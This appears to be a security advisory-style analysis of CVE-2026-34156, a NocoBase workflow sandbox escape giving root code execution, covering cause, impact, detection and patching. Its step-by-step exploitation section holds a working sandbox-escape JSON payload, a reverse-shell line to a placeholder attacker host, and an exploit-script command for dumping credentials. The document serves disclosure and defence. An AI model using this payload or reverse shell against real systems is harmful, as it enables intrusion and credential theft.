CVE-2026-34156: 
JavaScript vulnerability analysis and mitigation

CVE-2026-34156 is a VM sandbox escape vulnerability in NocoBase's Workflow Script Node that allows authenticated attackers to achieve Remote Code Execution (RCE) as root via prototype chain traversal through the console._stdout object. It affects the npm package @nocobase/plugin-workflow-javascript in all versions up to and including 2.0.27. The vulnerability was discovered by independent security researcher Onurcan Genç (Bilkent University), published to the GitHub Advisory Database on March 30, 2026, and patched in version 2.0.28. It carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory, NocoBase Advisory).

The root cause (CWE-913: Improper Control of Dynamically-Managed Code Resources) lies in NocoBase passing the host Node.js console object directly into the vm sandbox context. The console._stdout and console._stderr properties expose host-realm WritableWorkerStdio stream objects, whose prototype chain leads back to the host-realm Function constructor. An authenticated attacker crafts a JavaScript payload that traverses this chain: console._stdout.constructor.constructor yields the host Function constructor, which is then used to invoke Function('return process')() to obtain the Node.js process object, bypassing the customRequire allowlist entirely. From there, process.mainModule.require('child_process') enables unrestricted module loading and arbitrary command execution. Alternative escape vectors include console._stderr.constructor.constructor and Error.prepareStackTrace via the V8 CallSite API (GitHub Advisory, NocoBase Advisory).

Successful exploitation grants an attacker full root-level code execution (uid=0) inside the Docker container running NocoBase, completely compromising the host application. Attackers can steal database credentials (DB_PASSWORD, INIT_ROOT_PASSWORD) from process.env, perform arbitrary file read/write operations via require('fs'), establish interactive reverse shells, and leverage outbound network access for lateral movement and data exfiltration. The scope change (S:C in CVSS) reflects that the impact extends beyond the sandboxed script context to the underlying host environment (GitHub Advisory, NocoBase Advisory).

Public proof-of-concept exploit code is available, including a Python exploit script (CVE-2026-34156.py) hosted on GitHub that automates RCE and reverse shell establishment with a simple command-line interface (PoC GitHub). A second PoC repository was also published (franckboumendil PoC), and the vulnerability has been added to ProjectDiscovery's Nuclei templates for automated scanning. The exploit has also been published to Exploit-DB (EDB-52552) and Sploitus. The EPSS score is approximately 5.76% per Feedly data, though the GitHub Advisory Database reports a 32.4% probability (97th percentile). No confirmed in-the-wild exploitation or CISA KEV listing has been reported as of the time of this report (GitHub Advisory, PoC GitHub).

1. Reconnaissance: Identify internet-facing NocoBase instances running versions ≤ 2.0.27 using Shodan, Censys, or Nuclei templates targeting the /api/flow_nodes:test endpoint.
2. Authenticate: Obtain a valid JWT bearer token by logging in with any low-privileged authenticated account (e.g., POST /api/auth:signIn with valid credentials).
3. Craft the payload: Construct a JSON body with a script type workflow node containing the sandbox escape payload:

{
  "type": "script",
  "config": {
    "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();",
    "timeout": 5000,
    "arguments": []
  }
}

4. Send the request: Submit the payload via POST /api/flow_nodes:test with the Authorization: Bearer <JWT_TOKEN> header.
5. Confirm RCE: A successful response returns {"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)"}}, confirming root-level code execution.
6. Escalate: Replace the execSync('id') command with a reverse shell payload (e.g., bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1) or use process.env to dump DB_PASSWORD and INIT_ROOT_PASSWORD for credential theft.
7. Automate: Use the public Python script (python3 CVE-2026-34156.py -u https://target.com -e admin@nocobase.com -p password -c "id") for automated exploitation (PoC GitHub, NocoBase Advisory).

• Network: Unexpected outbound connections from the NocoBase server to external IPs (potential reverse shell callbacks); unusual HTTP POST requests to /api/flow_nodes:test from authenticated users who do not normally use workflow scripting features.
• Logs: NocoBase API access logs showing POST /api/flow_nodes:test requests with large or obfuscated content fields containing strings like constructor.constructor, mainModule, child_process, or execSync; Node.js process logs showing unexpected module loads (e.g., child_process, fs, net).
• Process: Unusual child processes spawned by the NocoBase Node.js process (e.g., /bin/bash, sh, curl, wget, nc, python) visible in process trees; processes running as uid=0 that are children of the Node.js application process.
• File System: New or modified files in the NocoBase application directory or /tmp created by the Node.js process; unexpected cron jobs, SSH authorized keys, or scripts added by the root user.
• Environment: Evidence of process.env access in script node logs, particularly reads of DB_PASSWORD or INIT_ROOT_PASSWORD (GitHub Advisory, NocoBase Advisory).

The primary remediation is to upgrade NocoBase to version 2.0.28 or later, which includes the security fix merged via pull request #8967 (NocoBase Release, Fix PR). For defense-in-depth, organizations should: (1) replace the Node.js vm module with isolated-vm for true V8 isolate separation; (2) avoid passing the host console object into the sandbox — use a clean proxy with limited functionality instead; (3) run the NocoBase Docker container as a non-root user; and (4) restrict access to the /api/flow_nodes:test endpoint to admin-only roles and audit who can create or modify workflow script nodes (GitHub Advisory).

The vulnerability received notable community attention, with a Reddit post in r/cybersecurity titled "NocoBase CVSS 10.0 Sandbox Escape to Root RCE" generating discussion. Security news outlet The Hacker Wire published a dedicated article on the sandbox escape, and it was featured in The Hacker News' weekly recap alongside other high-profile vulnerabilities. ProjectDiscovery added multiple Nuclei detection templates for the vulnerability shortly after disclosure, and it was included in weekly threat intelligence roundups by outlets such as ThreatChain and Loginsoft. The vulnerability was also picked up by Check Point's advisory database (CPAI-2026-6025) and Red Hat's CVE tracking (Reddit, The Hacker Wire).